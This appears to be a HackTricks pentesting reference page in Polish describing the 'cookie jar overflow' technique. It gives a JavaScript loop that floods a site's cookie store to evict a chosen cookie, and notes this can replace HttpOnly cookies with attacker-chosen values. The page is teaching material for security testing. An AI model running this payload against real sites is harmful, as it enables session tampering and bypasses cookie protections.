Cookie Jar Overflow

Support HackTricks

Przeglądarki mają limit liczby ciasteczek, które mogą przechowywać dla danej strony. Jeśli z jakiegoś powodu musisz sprawić, by ciasteczko zniknęło, możesz przepełnić słoik z ciasteczkami, ponieważ najstarsze zostaną usunięte jako pierwsze:

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

Zauważ, że ciasteczka stron trzecich wskazujące na inna domenę nie będą nadpisywane.

Ten atak może być również użyty do nadpisania ciasteczek HttpOnly, ponieważ możesz je usunąć, a następnie zresetować z wartością, którą chcesz.

Sprawdź to w tym poście z laboratorium.

Wsparcie dla HackTricks

Last updated